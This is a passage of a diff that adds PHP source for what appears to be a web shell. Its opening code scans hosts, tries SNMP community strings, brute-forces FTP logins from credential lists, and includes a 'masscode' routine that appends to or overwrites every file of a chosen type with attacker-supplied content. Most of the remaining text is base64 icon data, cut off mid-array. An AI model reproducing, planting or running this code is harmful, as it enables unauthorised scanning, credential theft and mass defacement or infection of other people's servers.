    ";$output=1;}flusheR(); +} +} +if(!empty($_REQUEST['snmpscanner'])){ +if(checkthisporT($ip,161,$timeout,1)){ +$com=$_REQUEST['com']; +$coms=$res=""; +if(strstr($com,","))$c=explode(",",$com);else $c[0]=$com; +foreach ($c as $v){ +$ret=snmpchecK($ip,$v,$timeout); +if($ret)$coms .=" $v "; +} +if ($coms!=""){echo "$ip) SNMP FOUND: $coms
    ";$output=1;} +flusheR(); +} +} +if(!empty($_REQUEST['ftpscanner'])){ +if(checkthisporT($ip,21,$timeout)){ +$usps=explode(',',$_REQUEST['userpass']); +foreach ($usps as $v){ +$user=substr($v,0,strpos($v,':')); +$pass=substr($v,strpos($v,':')+1); +if($pass=='[BLANK]')$pass=''; +$ftp=@ftp_connect($ip,21,$timeout); +if ($ftp){ +if(@ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) $ip System type: ".ftp_systype($ftp)."
    ";} +} +flusheR(); +} +} +} +if($output)echo "
    "; +flusheR(); +} +$time=time()-$start; +echo "Done! ($time seconds)
    "; +if(!empty($buglist))unlink($buglist); +} +else{ +$chbox=(extension_loaded('sockets'))?"TCPUDP":""; +echo "

    Port scanner:
    Target:
    From:
    To:
    Timeout:
    $chbox$hcwd
    "; +$host = substr($host,0,strrpos($host,".")); +echo "
    security scanner:
    From: NS lookup
    To:xxx.xxx.xxx.$hcwd
    Timeout:
    Port scanner:
    Get web bannerWebserver security scanning   SMTP relay check
    FTP password:
    SNMP:

    "; +} +} + +if ($act == "masscode") +{ +if(isset($_POST['dir']) && + $_POST['dir'] != '' && + isset($_POST['filetype']) && + $_POST['filetype'] != '' && + isset($_POST['mode']) && + $_POST['mode'] != '' && + isset($_POST['message']) && + $_POST['message'] != '' + ) + { + $dir = $_POST['dir']; + $filetype = $_POST['filetype']; + $message = $_POST['message']; + + $mode = "a"; //default mode + + + // Modes Begin + + if($_POST['mode'] == 'Apender') + { + $mode = "a"; + } + if($_POST['mode'] == 'Overwriter') + { + $mode = "w"; + } + + if($handle = opendir($dir)) + { + ?> + Overwritten Files :- +
      + +
    • ">
    • + Permission Denied

      "; break; + fwrite($fd,$message); + } + } + ?> +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Directory + + +
    + Mode + + +
    + File Type + + +
    + +
    + +
    + + +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". + +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", + +"back"=> + +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". + +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". + +"Wg0JADs=", + +"buffer"=> + +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". + +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". + +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", + +"change"=> + +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". + +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". + +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". + +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". + +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". + +"zMshADs=", + +"delete"=> + +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". + +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". + +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". + +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". + +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". + +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". + +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". + +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". + +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", + +"download"=> + +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". + +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", + +"forward"=> + +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". + +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". + +"WqsJADs=", + +"home"=> + +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". + +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". + +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". + +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", + +"mode"=> + +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". + +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". + +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", + +"refresh"=> + +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". + +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". + +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". + +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", + +"search"=> + +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". + +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". + +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". + +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". + +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", + +"setup"=> + +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". + +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". + +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". + +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". + +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", + +"small_dir"=> + +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". + +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", + +"small_unk"=> + +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". + +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". + +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". + +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". + +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". + +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". + +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". + +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". + +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". + +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". + +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". + +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". + +"yAsokBkQADs=", + +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". + +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", + +"sort_asc"=> + +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". + +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", + +"sort_desc"=> + +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". + +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", + +"sql_button_drop"=> + +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". + +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". + +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". + +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". + +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". + +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". + +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". + +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". + +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". + +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". + +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". + +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". + +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". + +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". + +"AQEAOw==", + +"sql_button_empty"=> + +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". + +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". + +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". + +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". + +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". + +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". + +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". + +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". + +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". + +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". + +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". + +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". + +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". + +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", + +"sql_button_insert"=> + +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". + +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". + +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". + +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". + +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". + +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". + +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". + +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". + +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". + +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". + +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". + +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". + +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". + +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", + +"up"=> + +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". + +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". + +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". + +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", + +"write"=> + +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". + +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". + +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". + +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", + +"ext_asp"=> + +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". + +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". + +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", + +"ext_mp3"=> + +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". + +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". + +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", + +"ext_avi"=> + +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". + +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". + +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", + +"ext_cgi"=> + +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". + +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". + +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". + +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". + +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". + +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". + +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". + +"RYtMAgEAOw==", + +"ext_cmd"=> + +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". + +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". + +"dmrYAMn1onq/YKpjvEgAADs=", + +"ext_cpp"=> + +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". + +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". + +"Eq7YrLDE7a4SADs=", + +"ext_ini"=> + +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". + +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". + +"SnEjgPVarHEHgrB43JvszsQEADs=", + +"ext_diz"=> + +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". + +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". + +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". + +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". + +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". + +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". + +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". + +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". + +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". + +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". + +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". + +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". + +"Ow==", + +"ext_doc"=> + +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". + +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". + +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", + +"ext_exe"=> + +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". + +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". + +"xhIAOw==", + +"ext_h"=> + +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". + +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". + +"Wq/NknbbSgAAOw==", + +"ext_hpp"=> + +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". + +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". + +"UqUagnbLdZa+YFcCADs=", + +"ext_htaccess"=> + 